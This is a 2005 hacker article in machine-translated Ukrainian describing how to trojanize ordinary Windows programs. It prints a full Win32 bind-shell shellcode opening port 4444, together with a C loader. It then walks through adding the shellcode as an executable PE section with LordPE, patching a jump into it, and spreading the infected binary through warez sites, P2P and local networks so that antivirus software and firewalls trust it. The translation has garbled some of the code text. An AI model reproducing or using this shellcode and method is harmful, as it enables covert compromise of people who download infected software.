Ідеальний спосіб поширення злого коду


Ідеальний спосіб поширення "злого" коду
Автор: ProTeuS [[email protected]]

Що потрібно:
1. LordPE by Yoda
2. W32Dasm
3. PEID
4. TOPO
5. Ну і, естессно, некрівие рики;)

вступ

4то б там не казали, але мелкософта без діла не сидять ...
Канули в лету "найсмачніші" діри, якими ще пару місяців назад можна було рута не одну тися4у незахищених машин. Тепер і інжектування свого коду в адресної простір "довірчого" процесу нікого не здивуєш. Навіть тупі фаєри нау4іісь з цим боротися. Тепер придумують способи один хитрішими іншого, але і такі довго не залишаються без "вакцини". Я ж пропоную в своїй статті описати один нехитрий спосіб розсилки "злого" (під "злим" я розумію не обов'язково трояни, руткіти і т.д., це може бути і банальний прихований с4ет4ік відвідувань твого ресурсу, ска4кі софта, якась статистика , вообщем, все, 4то іноді буває корисно) коду методом його попереднього впровадження в бінарник "потрібного" жертві продукту.

Ближче до діла

Сна4ала вибераем "підсадну качку" для жертви - файл, який, імовірно, должа ска4ать і запустити у себе жертва. Тут я тебе, мій допитливий 4ітатель, повна свобода вибору! Коне4но, ДЛЛкі мелкософта з сертифіката - Не лу4шій вибір, а ось якийсь абстракний шароварний продукт загального користування підходить як не можна до речі. Ми ж, не будь лиходіями, візьмемо оби4ний calc.exe з% Systemroot% (або 4то-небудь інше) і будемо тренуватися на ньому ...

Підготовка "злого" коду

Для того, 4тоби 4то-то заражати, додавати якийсь прихований код, потрібно перед цим його підготувати. Ось цим ми сей4ас і займемося. Я вирішив зупинитися на банальному біндшелле - хоча можна зробити і завантаження будь-якого файлу з мережі, зміна \ видалення правил фаєри - і підготував його шеллкод:

// Біндшелл win32 на 4444 порт
#include
char shellcode [] = "\ x31"
"\ Xc9 \ x83 \ xe9 \ xaf \ xd9 \ xee \ xd9 \ x74 \ x24 \ xf4 \ x5b \ x81 \ x73 \ x13 \ x92"
"\ X35 \ x88 \ x95 \ x83 \ xeb \ xfc \ xe2 \ xf4 \ x6e \ x5f \ x63 \ xda \ x7a \ xcc \ x77 \ x6a"
"\ X6d \ x55 \ x03 \ xf9 \ xb6 \ x11 \ x03 \ xd0 \ xae \ xbe \ xf4 \ x90 \ xea \ x34 \ x67 \ x1e"
"\ Xdd \ x2d \ x03 \ xca \ xb2 \ x34 \ x63 \ x76 \ xa2 \ x7c \ x03 \ xa1 \ x19 \ x34 \ x66 \ xa4"
"\ X52 \ xac \ x24 \ x11 \ x52 \ x41 \ x8f \ x54 \ x58 \ x38 \ x89 \ x57 \ x79 \ xc1 \ xb3 \ xc1"
"\ Xb6 \ x1d \ xfd \ x76 \ x19 \ x6a \ xac \ x94 \ x79 \ x53 \ x03 \ x99 \ xd9 \ xbe \ xd7 \ x89"
"\ X93 \ xde \ x8b \ xb9 \ x19 \ xbc \ xe4 \ xb1 \ x8e \ x54 \ x4b \ xa4 \ x52 \ x51 \ x03 \ xd5"
"\ Xa2 \ xbe \ xc8 \ x99 \ x19 \ x45 \ x94 \ x38 \ x19 \ x75 \ x80 \ xcb \ xfa \ xbb \ xc6 \ x9b"
"\ X7e \ x65 \ x77 \ x43 \ xa3 \ xee \ xee \ xc6 \ xf4 \ x5d \ xbb \ xa7 \ xfa \ x42 \ xfb \ xa7"
"\ Xcd \ x61 \ x77 \ x45 \ xfa \ xfe \ x65 \ x69 \ xa9 \ x65 \ x77 \ x43 \ xcd \ xbc \ x6d \ xf3"
"\ X13 \ xd8 \ x80 \ x97 \ xc7 \ x5f \ x8a \ x6a \ x42 \ x5d \ x51 \ x9c \ x67 \ x98 \ xdf \ x6a"
"\ X44 \ x66 \ xdb \ xc6 \ xc1 \ x66 \ xcb \ xc6 \ xd1 \ x66 \ x77 \ x45 \ xf4 \ x5d \ x99 \ xc9"
"\ Xf4 \ x66 \ x01 \ x74 \ x07 \ x5d \ x2c \ x8f \ xe2 \ xf2 \ xdf \ x6a \ x44 \ x5f \ x98 \ xc4"
"\ Xc7 \ xca \ x58 \ xfd \ x36 \ x98 \ xa6 \ x7c \ xc5 \ xca \ x5e \ xc6 \ xc7 \ xca \ x58 \ xfd"
"\ X77 \ x7c \ x0e \ xdc \ xc5 \ xca \ x5e \ xc5 \ xc6 \ x61 \ xdd \ x6a \ x42 \ xa6 \ xe0 \ x72"
"\ Xeb \ xf3 \ xf1 \ xc2 \ x6d \ xe3 \ xdd \ x6a \ x42 \ x53 \ xe2 \ xf1 \ xf4 \ x5d \ xeb \ xf8"
"\ X1b \ xd0 \ xe2 \ xc5 \ xcb \ x1c \ x44 \ x1c \ x75 \ x5f \ xcc \ x1c \ x70 \ x04 \ x48 \ x66"
"\ X38 \ xcb \ xca \ xb8 \ x6c \ x77 \ xa4 \ x06 \ x1f \ x4f \ xb0 \ x3e \ x39 \ x9e \ xe0 \ xe7"
"\ X6c \ x86 \ x9e \ x6a \ xe7 \ x71 \ x77 \ x43 \ xc9 \ x62 \ xda \ xc4 \ xc3 \ x64 \ xe2 \ x94"
"\ Xc3 \ x64 \ xdd \ xc4 \ x6d \ xe5 \ xe0 \ x38 \ x4b \ x30 \ x46 \ xc6 \ x6d \ xe3 \ xe2 \ x6a"
"\ X6d \ x02 \ x77 \ x45 \ x19 \ x62 \ x74 \ x16 \ x56 \ x51 \ x77 \ x43 \ xc0 \ xca \ x58 \ xfd"
"\ X62 \ xbf \ x8c \ xca \ xc1 \ xca \ x5e \ x6a \ x42 \ x35 \ x88 \ x95";

int
main () {
void (* funct) ();
(Long) funct = & shellcode;
funct ();}

Тепер компілюємо програму, що виконує шеллкод і за допомогою утиліти LordPE зберігаємо містить його секцію даних (portbind).


Конвертуємо шеллкод в секцію даних

Практі4еская 4асть

Далі завантажуємо в LordPE файл "жертви" і довантажувати в нього додаткову секцію даних portbind (не забувши поміняти її прапор на Е0000020, іна4е код не зможе виконуватися!) І запам'ятовуємо її зміщення (в моєму файлі воно дорівнює D7000)

Довантажувати в файл містить шеллкод секцію

Тепер нам залишилося тільки знайти в програмі-жертві порожнє (або ніколи не виконувати при будь-яких перевірках) місце, і вставити замість нього загруз4ік нашого шеллкода. Я зробив це так:

Так я реалізував загруз4ік шеллкода

Думаю, тут все зрозуміло, виповнюється код за адресою D7000. А там, як ми пам'ятаємо, міститься наш шеллкод.

уда4ний запуск "злого" коду (використовувався інший шеллкод)

Після його запуску програма повернеться до виконання "свого" тіла ...

способи поширення

Виходячи з самого принципу "зараження злим кодом", автоматі4ескі відпадають проблеми боротьби з антивірусами, брандмауер. І не дивно, оскільки користувач буде думати, 4то всі дії виконує не наш шеллкод, а довірче додаток, його іспольняющее і дозволятиме йому будь-яку активність. Погодьтеся, адже докопатися до нашого "злого" коду в бінарники зможе далеко не кожен користувач в одіно4ку. А якщо використовувати всякого роду пакувальником, то наш код виявиться навіки таємницею!
Єдиною проблемою методу є ограні4енность зараження "злим" кодом. Мені бачиться найвірнішого шлях його масового поширення в варез-порталах, p2p, або просто, нарешті, в міських мережах.

gl hf 2 all
04.06.2005